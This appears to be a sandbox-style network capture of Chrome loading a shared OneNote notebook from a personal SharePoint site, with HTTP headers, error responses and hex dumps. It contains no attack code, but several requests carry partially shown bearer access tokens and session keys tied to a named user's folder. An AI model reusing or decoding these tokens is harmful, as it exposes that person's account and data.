https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:07:00 UTC	1566	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 321def19-fd4a-4fdc-92e6-6301cd6f6d56 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017839 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5b&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017839 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 469FC63C9E48479D9887A7F7EC52C6B2 Ref B: EWR311000104051 Ref C: 2024-07-16T11:07:00Z Date: Tue, 16 Jul 2024 11:06:59 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49770	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:00 UTC	452	OUT	GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:00 UTC	4445	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 3c1011ec-a648-4f3e-a38d-71bca0fa4647 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017830 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8b&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017830 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 41ED99714CB84846B0D77D0C4002B177 Ref B: BL2AA2010204011 Ref C: 2024-07-16T11:07:00Z Date: Tue, 16 Jul 2024 11:06:59 GMT Connection: close
2024-07-16 11:07:00 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49774	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:01 UTC	452	OUT	GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:01 UTC	4447	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 91c7e8d8-0442-423c-866c-e304863c785a X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017839 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8c&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017839 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: C7A221D6DA974DD190943C9F9206D0BD Ref B: BL2AA2030103027 Ref C: 2024-07-16T11:07:01Z Date: Tue, 16 Jul 2024 11:07:00 GMT Connection: close
2024-07-16 11:07:01 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49780	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:03 UTC	2508	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":5,"MsSinceStart":7783,"Value":"SplashScreenShown","Type":"BootPhaseCompleted"},{"Index":6,"MsSinceStart":7783,"Value":"https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:07:04 UTC	1582	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 8da58b88-a96d-48b1-9786-78f4da21d962 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783A X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5a&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: AE867EEEC7124F4E93F145E03B191675 Ref B: EWR311000101029 Ref C: 2024-07-16T11:07:03Z Date: Tue, 16 Jul 2024 11:07:03 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49784	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:03 UTC	3525	OUT	POST /o/OneNoteS2SHandler.ashx?action=educationuser&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMz [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-UserType: WOPI X-IsCoauthSession: false X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:07:04 UTC	1073	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 59f08455-c9db-43e7-b3b6-25235b985e06 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: E251B19AA9FF4D9C8B2EF6BCC738936E Ref B: EWR311000103021 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:03 GMT Connection: close
2024-07-16 11:07:04 UTC	195	IN	Data Raw: 62 64 0d 0a 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 36 30 2c 7b 22 69 73 45 64 75 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 69 73 54 65 61 63 68 65 72 22 3a 66 61 6c 73 65 2c 22 69 73 53 74 75 64 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 4f 33 36 35 53 75 62 73 63 72 69 62 65 72 22 3a 66 61 6c 73 65 2c 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 30 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 22 22 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 22 22 7d 5d 5d 7d 0d 0a Data Ascii: bd{"Responses":[[60,{"isEducation":false,"isTeacher":false,"isStudent":false,"isO365Subscriber":false,"OperationId":0,"StatusCode":0,"RawCellStorageErrorCode":"","ServerPageStatsTrace":""}]]}
2024-07-16 11:07:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49789	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:04 UTC	3195	OUT	GET /o/null&DataUrlEnabled=true HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f X-AccessTokenTtl: 1721164012481 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
